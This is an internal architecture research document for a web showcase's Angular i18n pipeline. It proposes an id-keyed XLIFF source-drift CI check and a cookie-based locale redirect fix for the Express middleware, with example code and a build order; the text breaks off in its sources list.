Angular-i18n translation-completeness verification + drift detection, integrated into an existing Express-prerender showcase pipeline +**Milestone:** v1.2.0 Showcase i18n Completeness โ€” SUBSEQUENT milestone; re-opens and closes a gap left as accepted debt by v0.9.63 (Showcase i18n). Does not redesign the existing locale-registry/build/CI substrate. +**Researched:** 2026-07-07 +**Confidence:** HIGH (all findings verified directly against the repo's own source files, CI workflow, and git history โ€” this is an internal-architecture question about an existing system, not an ecosystem-discovery question) + +> Canonical-path note: per this directory's established convention (see `PITFALLS-EXCALIDRAW.md`, `PITFALLS-v0.9.69-TELEMETRY.md` as precedent), this document replaces the prior milestone's content at the canonical `ARCHITECTURE.md` path. The superseded v1.0.0 (Full App Catalog / OpenTabs Parity) architecture research is preserved on-disk at `ARCHITECTURE-v1.0.0-OPENTABS-CATALOG.md`. + +--- + +## 0. Correction to Milestone Framing (read this first) + +PROJECT.md states: *"Resync the 247 trans-units whose English source changed in commit `6d3ad363`."* I verified this directly by diffing `messages.xlf` at `6d3ad363~1` vs `6d3ad363` and matching trans-units **by `id`, not by line position**: + +- Total trans-units in `messages.xlf`: 942 (996 in each target locale file โ€” the small gap is target-file-only housekeeping units, irrelevant here) +- Trans-unit **IDs whose `` text actually changed**: **5** (`agents.meta.description`, `agents.schema.software.description`, `home.meta.description`, `support.faq.q.tools.a`, `support.schema.faq.tools.a`) +- Trans-unit IDs added or removed: 0 + +The `247 insertions(+), 247 deletions(-)` git-diff stat is **XML line churn**, not trans-unit count: 242 of those line-pairs are `` shifts caused by unrelated TS/HTML edits moving `$localize`/`i18n` call sites up or down in their source files (harmless location-metadata noise), and only 5 are genuine `` text changes. A naive `git diff --stat` or line-count/hash-based drift check would overcount by roughly 48x, and would also false-positive on every future commit that merely reformats a component file without touching any translatable string. + +**This has a direct architectural consequence:** the new drift-detection gate MUST diff `` text keyed by `trans-unit id`, not do a raw-text/line-count/whole-file-hash comparison. This is elaborated in Pattern 1 below. The full-page audit (Phase 1 of this milestone) should re-derive the true scope from scratch โ€” it will very likely surface MORE than these 5 units, since the milestone's own stated goal ("every translatable string on every showcase page... genuinely translated") is broader than the blast radius of one named commit. Treat "5" and "247" both as lower/upper bounds discovered so far, not as the audit's answer. + +--- + +## 1. Standard Architecture + +### System Overview + +``` ++-----------------------------------------------------------------------+ +| SOURCE OF TRUTH (author-edited) | ++-----------------------------------------------------------------------+ +| Component .html/.ts (i18n / $localize markers) | +| angular.json i18n.locales{} (locale -> file + subPath map) | +| locale-constants.ts (Angular) <-verify-locale-sync.mjs-> .js (Express)| ++------------------------------+------------------------------------------+ + | ng extract-i18n + v ++-----------------------------------------------------------------------+ +| messages.xlf (EN source-of-truth XLIFF) | +| -- one per marker | ++------------------------------+------------------------------------------+ + | (manual / AI-fill, historically) + v ++-----------------------------------------------------------------------+ +| messages.{es,de,ja,zh-CN,zh-TW}.xlf (5 translated copies) | +| -- mirrors EN's set; COPIED verbatim from | +| EN at fill-time, is the translation | +| PROBLEM: nothing re-syncs the mirrored when EN's | +| changes later -- these files silently go stale (this milestone's | +| core gap) | ++------------------------------+------------------------------------------+ + | + +----------------------+-----------------------------+ + | EXISTING CI GATES | + | (structural / build-time correctness only) | + | 1. verify-locale-sync.mjs -- registry parity | + | (Angular LOCALES[] == Express LOCALES[]) | + | Does NOT touch messages.xlf content at all. | + | 2. lint:i18n (eslint) -- every visible | + | template string carries an i18n attribute | + | Does NOT check translation content. | + | 3. "ng extract-i18n" + diff -u ("extract-i18n- | + | clean") -- messages.xlf byte-equal to a fresh | + | extract. Verifies EN source is fully harvested;| + | says NOTHING about the 5 target files. | + | 4. ng build --localize (i18nMissingTranslation: | + | error) -- fails if a target XLIFF is MISSING a | + | for an id present in source. Does NOT | + | fail if exists but is a STALE/WRONG | + | translation of a since-changed . This | + | is the exact blind spot: all 5 locale files | + | sit at 996/996 state="translated" today, and | + | that number does not move even when 5 units | + | drift. | + +------------------------+---------------------------+ + | + v (NEW, this milestone) + +---------------------------------------------------+ + | NEW GATE: verify-translation-drift.mjs | + | Diffs EN text (keyed by trans-unit id) | + | against the mirror embedded in each of | + | the 5 target XLIFFs. Fails the build if any id's | + | EN != that id's mirrored in ANY | + | target file. This is the ONLY gate in the whole | + | chain that can catch semantic staleness, because | + | it is the only one that compares SOURCE content | + | across files rather than checking structural | + | presence within one file. | + +------------------------+---------------------------+ + | + v ++-----------------------------------------------------------------------+ +| ng build --localize emits per-locale prerendered HTML under | +| dist/showcase-angular/browser/{en-root,es,de,ja,zh-CN,zh-TW}/** | ++------------------------------+------------------------------------------+ + | + v ++-----------------------------------------------------------------------+ +| showcase/server/server.js (Express) | +| - Accept-Language middleware (bare `/` only) -- WARNING-02 lives here | +| - express.static(dist) with redirect:false | +| - marketingRoutes whitelist + locale subPath splitter | ++-----------------------------------------------------------------------+ +``` + +### Component Responsibilities + +| Component | Responsibility | Today's Implementation | +|-----------|-----------------|-------------------------| +| `angular.json` `i18n` block | Declares the 5 target locales + `subPath` + translation file path; drives `ng build --localize` fan-out | Static config, hand-edited; `sourceLocale.subPath` is `""`, each target locale's `subPath` matches its code exactly (`es`, `de`, `ja`, `zh-CN`, `zh-TW`) | +| `locale-constants.ts` / `.js` | Runtime-consumable locale list (`LOCALES`, `LOCALE_SUBPATHS`, native labels) for Angular UI + Express middleware | Two hand-mirrored files, kept honest by `verify-locale-sync.mjs` | +| `verify-locale-sync.mjs` | Registry parity ONLY โ€” asserts the two `LOCALES` arrays match | Regex-extracts array literal, string-compares | +| `lint:i18n` (eslint) | Marking completeness โ€” every visible template string has an `i18n`/`i18n-*` attribute | ESLint template-syntax rule, run via `npx eslint "src/**/*.html"` with 2 ignore-patterns (`dashboard/**`, `stats/**` โ€” the latter is exactly what this milestone must remove) | +| `ng extract-i18n` + `diff -u` | EN-source completeness โ€” `messages.xlf` matches what a fresh harvest of `i18n`-marked templates would produce | Shell pipeline in `ci.yml`, not a named npm script (nicknamed "extract-i18n-clean" in docs/plans; `showcase/angular/package.json` has no script literally named that โ€” confirmed by the codebase's own Phase-275 discovery note) | +| `ng build --localize` (`i18nMissingTranslation: error`) | Per-locale structural completeness โ€” every EN trans-unit id has a corresponding `` in each target XLIFF | Angular CLI build-time i18n compiler flag in `angular.json` | +| **(NEW) `verify-translation-drift.mjs`** | Semantic freshness โ€” every EN trans-unit id's `` text matches its mirrored `` in all 5 target XLIFFs | Does not exist yet; this milestone's job | +| `verify-hreflang.mjs` | Post-build SEO/HTML assertion (hreflang tags, canonical, `lang` attr) on emitted prerender output | Walks `dist/`, regex-checks tags | +| Accept-Language middleware (`server.js`) | Bare-`/` locale redirect for first-visit + returning users | Cookie short-circuits today (WARNING-02); needs a redirect-to-cookie-locale fix this milestone | + +## Recommended Project Structure + +``` +showcase/angular/ +โ”œโ”€โ”€ scripts/ +โ”‚ โ”œโ”€โ”€ verify-locale-sync.mjs # existing -- registry parity (UNCHANGED) +โ”‚ โ”œโ”€โ”€ verify-hreflang.mjs # existing -- post-build HTML assertions (UNCHANGED) +โ”‚ โ”œโ”€โ”€ verify-bundle-budgets.mjs # existing -- gzip size gate (UNCHANGED) +โ”‚ โ”œโ”€โ”€ verify-translation-drift.mjs # NEW -- source-text drift gate (this milestone, permanent) +โ”‚ โ””โ”€โ”€ audit-translation-completeness.mjs # NEW, TEMPORARY -- one-shot full-page audit script +โ”‚ # (see "Suggested Build Order" -- this is a diagnostic +โ”‚ # tool for the audit phase of this milestone, not a +โ”‚ # permanent CI gate; retire or demote to a manual +โ”‚ # `npm run audit:i18n` script post-milestone) +โ”œโ”€โ”€ src/locale/ +โ”‚ โ”œโ”€โ”€ messages.xlf # EN source-of-truth (UNCHANGED structurally) +โ”‚ โ”œโ”€โ”€ messages.{es,de,ja,zh-CN,zh-TW}.xlf # 5 target files -- CONTENT resync happens here, +โ”‚ โ”‚ # not a new file format +โ”‚ โ””โ”€โ”€ DO-NOT-TRANSLATE.md # existing -- machine-token allowlist (UNCHANGED) +โ”œโ”€โ”€ package.json # ADD: "verify:translation-drift": "node scripts/verify-translation-drift.mjs" +โ”‚ # MODIFY: lint:i18n -- remove `--ignore-pattern "src/app/pages/stats/**"` +โ”‚ # (only after stats-page translation work lands, see build order) +โ””โ”€โ”€ angular.json # UNCHANGED (no new locale, no new subPath) + +showcase/server/ +โ”œโ”€โ”€ src/middleware/ +โ”‚ โ””โ”€โ”€ accept-language.js # MODIFY -- fix WARNING-02 cookie-short-circuit semantics +โ”‚ # (see Pattern 2 below) +โ””โ”€โ”€ server.js # UNCHANGED mount point/order; same middleware, same + # position (before express.static) + +tests/ +โ”œโ”€โ”€ server-accept-language.test.js # MODIFY -- flip one existing assertion + add new ones for +โ”‚ # the fixed cookie-redirect behavior +โ””โ”€โ”€ translation-drift.test.js # NEW -- unit tests for verify-translation-drift.mjs's + # trans-unit-id-keyed diff logic (mirrors the existing + # test style: pure Node assert, in-repo fixtures) + +.github/workflows/ci.yml # MODIFY -- insert one new step in the `website` job +``` + +### Structure Rationale + +- **`verify-translation-drift.mjs` lives alongside the other `verify-*.mjs` scripts, not inside a new subfolder.** This repo's established convention (`verify-locale-sync.mjs`, `verify-hreflang.mjs`, `verify-bundle-budgets.mjs`) is one flat `scripts/verify-*.mjs` file per concern, each independently invocable via a matching `npm run verify:*` script, each wired as its own named step in `ci.yml`'s `website` job. A new script that follows this exact naming and invocation pattern is the path of least surprise for anyone who already knows this codebase's i18n tooling, and it keeps each gate single-purpose and independently debuggable (a red `verify:translation-drift` step in CI immediately tells you it's a semantic-drift failure, not a registry-parity or hreflang failure). +- **The full-page completeness audit is NOT the same artifact as the CI drift gate**, and should not be built as one script that tries to do both. The audit is a one-time (or infrequent, manually-invoked) diagnostic that answers "what is untranslated or drifted RIGHT NOW across the whole surface" โ€” it needs to walk every showcase page/component and cross-reference against every `i18n`-marked template string (or the rendered per-locale output), and produce a human-readable report. The drift gate is a permanent, fast, CI-blocking check that answers a narrower question: "did this commit's EN source change leave any of the 5 target files' mirrored source out of sync." Conflating them either makes the audit too slow/heavy to run on every PR, or makes the permanent gate too broad and fragile (e.g. if it tries to also assert "target text differs meaningfully from source text" as a proxy for "was this ever actually translated," it will misfire on short EN loanwords that are legitimately identical across locales, like "FSB" or brand names already carved out in `DO-NOT-TRANSLATE.md`). +- **No new locale-registry file, no new XLIFF format, no new translation-storage layer.** The milestone's job is drift *detection* and *resync*, not a new translation pipeline. `angular.json`'s `i18n.locales` block and `locale-constants.{ts,js}` are correctly the single source of truth for "which locales exist" and stay untouched; this milestone only adds a new comparison over the *content* of files that already exist in that structure. +- **`accept-language.js` gets modified in place, not replaced.** The bug is a semantics change to one branch of existing logic (see Pattern 2), not a rewrite. The existing `pickBestLocale`, `parseCookieHeader`, and BCP-47 alias-matching logic (`aliasTag`, `ZH_HANS_TARGETS`/`ZH_HANT_TARGETS`) are correct and heavily tested (42 assertions in `server-accept-language.test.js`) โ€” none of that needs to move. + +## Architectural Patterns + +### Pattern 1: ID-Keyed Source-Text Diff (the drift gate itself) + +**What:** Parse `messages.xlf` and each of the 5 target XLIFFs into `Map`. For every id present in the EN map, assert the corresponding entry in each target map has byte-identical `` text (after whitespace normalization). Report every (`id`, `locale`) pair that fails, then exit 1 if any failures exist. + +**When to use:** This is the correct check because XLIFF's `` structure (per the XLIFF 1.2 spec, `urn:oasis:names:tc:xliff:document:1.2`, used here) mirrors the EN `` into every target file as an audit trail โ€” the whole point of that mirrored `` field in a translated XLIFF is "this is what was translated FROM." When the real EN source changes but that mirror doesn't get refreshed, the mirror becomes evidence of drift, and this is exactly what to diff against. This is a well-known TMS (translation management system) pattern, often called "source drift" or "fuzzy-match invalidation" โ€” professional i18n pipelines (Phrase, Lokalise, Crowdin, and similar) typically auto-flag or fuzzy-mark units whose source changed since last translation. This project has no TMS; a small custom script fills that exact role. + +**Trade-offs:** +- Pro: Cheap (regex/text parse of 5 files, roughly 1MB each, sub-second), zero new dependencies โ€” matching this repo's stated preference (`verify-hreflang.mjs`'s comment: "Zero new npm dependencies โ€” regex-based, no jsdom"; `accept-language.js`'s comment: "Zero new dependencies โ€” inline cookie parse + Node stdlib only"). +- Pro: Catches exactly the failure mode this milestone cares about (5 real drifted units from the named commit, not 247 phantom ones โ€” see the framing correction above), and generalizes correctly to whatever additional drift the full-page audit surfaces. +- Con: A pure text-diff cannot tell you the target *translation* is wrong, only that the EN source moved out from under it. It is necessarily a heuristic proxy for "needs re-review," not a semantic-correctness checker. This is fine and expected โ€” closing the loop on translation *quality* is a human/AI-fill review step downstream of this gate, not something the gate itself can verify. +- Con (must design around): must be robust to legitimate structural/whitespace differences that XLIFF tooling introduces (e.g. `` placeholder ordering should usually stay stable, but Angular's extractor can reformat attribute quoting or context-group ordering across regenerations). Normalize whitespace before comparing, and compare only the `` inner content, not the full `` block (which also contains `` linenumber metadata that legitimately differs commit-to-commit and MUST be ignored โ€” per the framing-correction finding above, 242 of 247 diff lines in the named commit were exactly this kind of noise). + +**Example (regex-based parse matching the codebase's existing `verify-locale-sync.mjs` style, dependency-free):** +```javascript +// scripts/verify-translation-drift.mjs +import { readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { LOCALES, SOURCE_LOCALE } from '../src/app/core/i18n/locale-constants.js'; +// (Illustrative import path -- actual implementation should reuse whichever locale +// registry module is import-compatible from a .mjs script; derive TARGET_LOCALES +// from it rather than hardcoding, exactly per the WARNING-01 lesson below.) + +const LOCALE_DIR = join(process.cwd(), 'src', 'locale'); +const SOURCE_FILE = join(LOCALE_DIR, 'messages.xlf'); +const TARGET_LOCALES = LOCALES.filter((l) => l !== SOURCE_LOCALE); + +// Extracts { id -> raw inner-XML of ... } keyed by trans-unit id. +// Deliberately ignores everything else in the block (context-group, +// linenumber, notes) -- those legitimately churn on every unrelated code edit and +// MUST NOT be treated as drift (see the 242-line-noise finding in this document's +// framing-correction section: only 5 of 247 diff lines in commit 6d3ad363 were +// real source-text changes). +function extractSourceMap(xliffText) { + const map = new Map(); + const unitRe = /]*>([\s\S]*?)<\/trans-unit>/g; + let m; + while ((m = unitRe.exec(xliffText)) !== null) { + const [, id, body] = m; + const sourceMatch = /([\s\S]*?)<\/source>/.exec(body); + if (sourceMatch) map.set(id, sourceMatch[1].trim()); + } + return map; +} + +const sourceMap = extractSourceMap(readFileSync(SOURCE_FILE, 'utf8')); +const failures = []; + +for (const locale of TARGET_LOCALES) { + const targetPath = join(LOCALE_DIR, `messages.${locale}.xlf`); + const targetMap = extractSourceMap(readFileSync(targetPath, 'utf8')); + for (const [id, enSource] of sourceMap) { + const mirroredSource = targetMap.get(id); + if (mirroredSource === undefined) { + failures.push({ locale, id, reason: 'missing trans-unit (should already be caught by ng build)' }); + } else if (mirroredSource !== enSource) { + failures.push({ locale, id, reason: 'source drift', en: enSource, mirrored: mirroredSource }); + } + } +} + +if (failures.length > 0) { + console.error(`Translation drift detected: ${failures.length} (locale, id) pairs out of sync.`); + for (const f of failures) console.error(` [${f.locale}] ${f.id}: ${f.reason}`); + process.exit(1); +} +console.log(`Translation drift check passed: ${sourceMap.size} trans-units x ${TARGET_LOCALES.length} locales, zero drift.`); +``` + +### Pattern 2: Cookie-Directed Redirect (WARNING-02 fix) + +**What:** Change the Accept-Language middleware's cookie branch from "cookie present and valid -> `next()` (do nothing, let whatever static file exists at `/` serve)" to "cookie present, valid, and NOT the default locale -> actively 302 redirect to `/{cookieLocale}/`." Only fall through to Accept-Language-header-based detection when there is no usable cookie. The default-locale case (`cookieVal === defaultLocale`, i.e. `en`) still correctly falls through to `next()` since there's no redirect needed to reach the EN root. + +**When to use:** This directly closes the gap documented in `v0.9.63-INTEGRATION-CHECK.md`'s WARNING-02 and the audit's own suggested follow-up: *"flip cookie-precedence semantics from 'skip middleware' to 'redirect to cookie locale.'"* The audit already flagged the one real risk this introduces โ€” a **redirect loop** โ€” and named its own mitigation requirement: *"opens T-267-02 redirect-loop surface, needs explicit `/{locale}/` skip guard."* That guard is already structurally present and must be preserved: the middleware only runs `if (req.path !== '/') return next();` (`accept-language.js` line 93), so a redirect to `/{locale}/` (any non-root path) can never re-enter this same middleware branch on the very next request โ€” the loop-guard is the existing path check, not something that needs to be newly invented. The only new invariant to add explicitly is: never redirect if the cookie's locale IS the default locale (`en`), because `/en/` is not a valid subPath in this project's `subPath` scheme (EN's `subPath` is `""`, per `angular.json`'s `sourceLocale.subPath` and `locale-constants.js`'s `LOCALE_SUBPATHS.en === ''`) โ€” redirecting to `/en/` would 404. + +**Trade-offs:** +- Pro: Closes exactly the UX gap the milestone names (returning fresh-tab/shared-link visitors with a previously-set locale cookie now land on their locale, not EN). +- Pro: Minimal diff โ€” this is a roughly 5-line change to one function (`createAcceptLanguageMiddleware`'s cookie-branch), not a new module. All the hard parsing/matching work (`pickBestLocale`, `aliasTag`, `parseCookieHeader`) is reused unchanged. +- Con (must test explicitly): the existing test `'GET / + Accept-Language ja + Cookie fsb-locale=de -> next() (cookie wins)'` at `tests/server-accept-language.test.js:81-85` currently asserts `nextCalled: true, redirectArgs: null` for this exact case and encodes the OLD (short-circuit) semantics. Under the fixed behavior this assertion must flip to `nextCalled: false, redirectArgs: { status: 302, location: '/de/' }`. This is a deliberate, expected test-behavior change and should be called out explicitly in the phase/plan doc, not silently altered. The adjacent test `'GET / + Cookie fsb-locale=en -> next() (cookie wins, even for default)'` (lines 87-91) keeps its current expected outcome unchanged โ€” the default-locale case still correctly falls through to `next()`. +- Con: a returning visitor whose cookie locale no longer matches their live preference (e.g. they set `fsb-locale=de` once, months ago, but their browser's Accept-Language has since changed) will now be forced back to `/de/` on every bare-`/` visit, with no Accept-Language override, until they use the in-page picker again. This is the correct, intentional trade-off implied by "cookie wins" (matches how this repo's picker semantics have always been described), but is worth a one-line note in the phase's SUMMARY so a future WARNING doesn't reopen it as a new bug. + +**Example:** +```javascript +// showcase/server/src/middleware/accept-language.js -- inside createAcceptLanguageMiddleware's +// returned function, replacing the current cookie branch (lines 95-98 today): + +const cookieVal = parseCookieHeader(req.headers && req.headers.cookie, cookieName); +if (cookieVal && cookieVal !== defaultLocale && supportedSet.has(cookieVal)) { + // WARNING-02 fix: cookie now actively redirects instead of short-circuiting. + // Loop-safe: this middleware only ever runs on req.path === '/' (checked above), + // and this redirect always targets a non-'/' subpath, so the redirected request + // never re-enters this branch. + return res.redirect(302, '/' + cookieVal + '/'); +} +if (cookieVal && cookieVal === defaultLocale) { + // Cookie explicitly says default locale (en) -- already at the right place; no redirect. + return next(); +} + +const best = pickBestLocale(req.headers && req.headers['accept-language'], supported); +if (!best || best === defaultLocale) return next(); +res.redirect(302, '/' + best + '/'); +``` + +## Data Flow + +### Drift-Gate Data Flow (new) + +``` +git commit changes showcase/angular/src/locale/messages.xlf (EN source) + v +CI `website` job runs (existing steps, unchanged order): + verify-locale-sync.mjs -> lint:i18n -> [ng extract-i18n + diff -u] + v +NEW STEP inserted here (see Suggested Build Order for exact position): + verify-translation-drift.mjs + - reads messages.xlf -> Map + - reads each messages.{locale}.xlf -> Map + - diffs by id; exit 1 on any mismatch + v (pass) +ng build (i18nMissingTranslation: error) -- existing, unchanged + v +verify:hreflang -> verify-bundle-budgets.mjs -- existing, unchanged +``` + +### Cookie-Redirect Data Flow (WARNING-02 fix) + +``` +Returning visitor, fresh tab / shared link, GET / + v +Request headers carry Cookie: fsb-locale=de (set by picker in a prior session) + v +accept-language middleware (mounted before express.static, server.js:175) + v + cookieVal = 'de'; cookieVal !== 'en' (default); supportedSet.has('de') -- TRUE + v (NEW behavior) + res.redirect(302, '/de/') + v +Browser re-requests GET /de/ + v +req.path !== '/' -> middleware calls next() immediately (loop-safe, existing guard) + v +express.static serves dist/showcase-angular/browser/de/index.html (prerendered German) +``` + +## Scaling Considerations + +| Scale | Architecture Adjustments | +|-------|---------------------------| +| Current (6 locales, ~942 trans-units, 5 target files) | The `Map`-based, single-pass regex parse in Pattern 1 runs in well under a second; no optimization needed. This is a build-time/CI-time script, not a runtime hot path โ€” it never touches production request latency. | +| If locale count grows (e.g. adding a 7th/8th locale) | `TARGET_LOCALES` in the new script must be derived from `locale-constants.js`'s `LOCALES` array (filtered to exclude `SOURCE_LOCALE`), exactly the pattern `v0.9.63-INTEGRATION-CHECK.md`'s own WARNING-01 already recommended for `server.js` (`supported = LOCALES.filter(l => l !== SOURCE_LOCALE)`). Hardcoding the array in the new script would reproduce WARNING-01's exact mistake in a new file; the real implementation should import from the locale registry instead of hardcoding, keeping the single-source-of-truth property intact. | +| If trans-unit count grows by 10x (e.g. thousands of marketing strings) | Still trivially fast for a single-pass Map diff; no architectural change needed until file sizes reach tens of MB, which is far outside this project's marketing-copy scope. | +| If translation workflow moves to a real TMS (Phrase/Lokalise/Crowdin) in a future milestone | Those platforms have first-class "source changed since last translation" flagging built in, which would make this custom script redundant. Not a near-term concern; flagged here only so a future milestone doesn't have to rediscover this trade-off. | + +### Scaling Priorities + +1. **Not a scaling concern at this project's size.** The real risk this milestone's gate should optimize against is **false positives from the linenumber-churn noise already characterized above**, not runtime/CI performance. Keeping the diff strictly ``-text-scoped (not whole-``-scoped) is the single most important design decision for this script's long-term reliability. +2. **Second-order risk: the audit script and the drift-gate script overlapping in scope over time.** If the one-time audit script (the diagnostic tool from the audit phase) accretes CI-gate-like assertions and never gets retired or demoted, the project ends up with two overlapping i18n-completeness checks that can disagree with each other. See Suggested Build Order for how to sequence these to avoid that outcome. + +## Anti-Patterns + +### Anti-Pattern 1: Whole-File Hash/Byte Comparison for Drift Detection + +**What people do:** Compare a checksum or raw byte-diff of `messages.xlf` against a checksum of each target file, or treat any git diff on `messages.xlf` as "translations are now stale, re-review everything." +**Why it's wrong:** As demonstrated by the actual commit `6d3ad363` in this repo (247 diff lines, only 5 real source-text changes), the overwhelming majority of `messages.xlf` diffs are `` churn from unrelated code motion. A whole-file or byte-level check would flag 242 units of pure noise as "drifted," creating alert fatigue and, worse, sending false-positive re-translation work to the 5-locale AI-fill/translator pipeline for units that never actually changed. +**Instead:** Parse and compare only the `` inner-text, keyed by `trans-unit id` (Pattern 1). This is the only comparison granularity that isolates true content drift from harmless structural churn. + +### Anti-Pattern 2: Merging the One-Time Audit and the Permanent CI Gate Into One Script + +**What people do:** Write a single "do everything i18n" script that both (a) walks every page/component to check completeness against the live DOM/render output, and (b) runs on every CI push as the hard-fail drift gate. +**Why it's wrong:** These have fundamentally different cost/frequency profiles. A full-page completeness audit that inspects every locale's output for every route is inherently heavier (potentially needs a built `dist/` to inspect, or headless-browser assertions) and is meant to run once (or occasionally, on-demand) to find the current gap โ€” not on every commit. Baking it into the permanent CI gate either makes CI slow, or forces the audit logic to be watered down to something fast enough for every-push execution, defeating the audit's own purpose of being thorough. It also risks the exact trap PROJECT.md's milestone framing already fell into: conflating "247 lines changed" with "247 units need resync" โ€” a heavier, less-precise tool is more likely to produce an inflated, misleading count. +**Instead:** Two artifacts with two different lifecycles (see Suggested Build Order): a temporary/manually-invoked audit script for the audit phase (find the current gap, including anything beyond the one named commit), and a small, fast, permanent `verify-translation-drift.mjs` for every subsequent commit (Pattern 1). The audit's findings feed the resync work; the gate prevents recurrence going forward. + +### Anti-Pattern 3: Treating the Cookie Fix as "Just Flip a Boolean" + +**What people do:** Change the cookie branch to always redirect whenever a cookie is present, without re-checking the default-locale case or the loop-safety invariant. +**Why it's wrong:** `en`'s `subPath` is `""` in this project's locale scheme (`LOCALE_SUBPATHS.en === ''`, `angular.json`'s `sourceLocale.subPath === ''`). A blind "always redirect to `/{cookieLocale}/`" would produce `res.redirect(302, '/en/')` when the cookie says `en`, and `/en/` is not a real subPath in this build's output โ€” that would 404. The fix must special-case `cookieVal === defaultLocale` to still fall through to `next()` (already at the correct root), exactly as Pattern 2 shows. +**Instead:** Preserve the three-way branch: (1) cookie says default locale -> `next()`; (2) cookie says a valid non-default supported locale -> active redirect; (3) no usable cookie -> fall through to existing Accept-Language-header logic. Also explicitly re-verify (and update, not silently break) the existing test at `tests/server-accept-language.test.js:81-85`, which currently encodes the pre-fix "cookie short-circuits" behavior as the expected/passing result for the `cookie=de, header=ja` case. + +## Integration Points + +### External Services + +None. This entire milestone's scope (i18n completeness audit, drift gate, cookie-redirect fix) is internal-repo tooling with zero new third-party services, npm dependencies, or external APIs. This matches the codebase's explicit stated preference across every relevant existing script (`verify-hreflang.mjs`: "Zero new npm dependencies"; `accept-language.js`: "Zero new dependencies โ€” inline cookie parse + Node stdlib only"). + +### Internal Boundaries + +| Boundary | Communication | Notes | +|----------|-----------------|-------| +| `verify-translation-drift.mjs` (new) โ†” `src/locale/*.xlf` | Direct filesystem read, regex-based XML parse (no XML library dependency, matching existing script style) | Must read the locale registry's `LOCALES`/`SOURCE_LOCALE` to derive the target-locale list dynamically, not hardcode it (avoids reproducing WARNING-01) | +| `verify-translation-drift.mjs` (new) โ†” `ci.yml` `website` job | New named step, inserted into the existing linear step sequence | See Suggested Build Order for exact insertion point | +| Full-page audit script (new, temporary) โ†” showcase pages/components | Either static-analysis (walk `.html` templates + cross-reference `i18n` attributes against XLIFF ids, similar to how `lint:i18n`'s eslint rule already inspects templates) or post-build inspection of `dist/showcase-angular/browser/{locale}/**` prerendered HTML | Recommend static-analysis-first (cheaper, no build required) since the goal is finding gaps in marking/translation coverage, not verifying rendered pixel output; the existing `verify-hreflang.mjs` precedent shows post-build HTML inspection is also an available pattern in this repo if the audit needs to verify what's actually rendered per-locale, not just what's marked | +| `accept-language.js` (modified) โ†” `server.js` mount point | Unchanged โ€” same `app.use(createAcceptLanguageMiddleware({...}))` call, same position (line 175, before `express.static` at line 182) | The fix is entirely internal to the middleware factory's returned function; the mount contract (options shape: `supported`, `defaultLocale`, `cookieName`) does not change | +| `lint:i18n` (modified) โ†” `stats/` page components | Remove `--ignore-pattern "src/app/pages/stats/**"` from the `lint:i18n` npm script once stats-page translation work lands | Must land AFTER the stats page's own translation work is complete (see Suggested Build Order), not before, or `lint:i18n` will immediately hard-fail CI on pre-existing untranslated stats-page markup | + +## Suggested Build Order + +This directly answers the "audit the existing gap first, then add the permanent drift gate" sequencing concern from the milestone context. The dependency chain is: + +1. **Full-page completeness audit (temporary/diagnostic script or manual walkthrough).** Goal: enumerate every genuinely-untranslated-but-marked-translated string across all pages (lattice, phantom-stream, prometheus, home, mobile nav, stats, and anything else added since v0.9.63), not just the 5 units from commit `6d3ad363`. This step must run and complete BEFORE the permanent drift gate is wired into CI as hard-fail, because: + - The audit will very likely surface MORE than the 5 known-drifted units (the milestone's own goal statement โ€” "every translatable string on every showcase page" โ€” is broader than one commit's blast radius). + - If the permanent gate is wired hard-fail before this pre-existing debt is resolved, CI goes red immediately on the first commit that includes the new gate, for reasons unrelated to that commit (the classic "gate discovers pre-existing debt it didn't cause" problem). +2. **Resync all units found in step 1** across the 5 target locale files (the 5 units from `6d3ad363` at minimum, plus whatever the broader audit finds). This includes the stats-page translation work (currently `lint:i18n`-ignored) since that's explicitly named as in-scope this milestone. +3. **Un-ignore the stats page in `lint:i18n`** only after step 2's stats-page translation work is actually complete โ€” removing `--ignore-pattern "src/app/pages/stats/**"` from `showcase/angular/package.json`'s `lint:i18n` script is itself a small, separate, ordered change that must come after the stats-page strings are marked and translated, not before. +4. **Add `verify-translation-drift.mjs`** (Pattern 1) and wire it into `ci.yml`'s `website` job now that the tree is drift-free โ€” it will pass on first wiring instead of immediately failing on residual debt from steps 1-3. + - Insertion point in `ci.yml`: after the "Verify ng extract-i18n produces no diff (CI-02)" step and before "Build Angular showcase" โ€” this mirrors the existing ordering logic (cheap static-analysis / text-comparison gates run before the expensive `ng build` step) and matches the audit trail's own documented gate order (`verify-locale-sync โ†’ lint:i18n โ†’ extract-i18n-clean โ†’ ng build โ†’ verify:hreflang โ†’ verify-bundle-budgets`); the new gate slots in as `verify-locale-sync โ†’ lint:i18n โ†’ extract-i18n-clean โ†’ verify-translation-drift โ†’ ng build โ†’ verify:hreflang โ†’ verify-bundle-budgets`. +5. **WARNING-02 cookie-redirect fix (Pattern 2)** has no dependency on steps 1-4 and can be built in parallel / any order relative to them โ€” it touches a completely different file (`accept-language.js`) and a completely different concern (runtime redirect behavior, not build-time translation content). Sequence it wherever convenient in the phase/plan breakdown; it does not need to wait on the audit or the drift gate. +6. **Retire or demote the audit script from step 1** once steps 1-4 are done. It served its purpose (finding and closing the gap); keeping it around as a stale, unmaintained "second i18n checker" that can silently diverge from the real permanent gate (`verify-translation-drift.mjs`) is the exact risk named in Anti-Pattern 2. Either delete it, or explicitly demote it to a manual/occasional `npm run audit:i18n` script with a comment clarifying it is NOT a CI gate and NOT guaranteed to stay in sync with `verify-translation-drift.mjs`'s logic. + +## Sources + +All findings in this document are verified directly against this repository's own source files and git history (internal-architecture research, not external-ecosystem research): + +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/.planning/PROJECT.md` (milestone goal, target features, key context, WARNING-02 history across 5+ milestone mentions) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/package.json` (existing `lint:i18n` script, confirmed `stats/**` ignore-pattern currently present) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/angular.json` (`i18n.locales` block, `i18nMissingTranslation: error` build option, `sourceLocale.subPath` = `""`) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/scripts/verify-locale-sync.mjs` (confirmed scope: registry-parity only, no content diffing) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/angular/scripts/verify-hreflang.mjs` (existing script style/conventions precedent) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/server/server.js` (middleware mount order, lines 171-179; static-serving setup) +- `/Users/lakshman/conductor/workspaces/fsb/san-antonio/showcase/server/src/middleware/accept-language.js` (full source of the WARNING-02 bug, 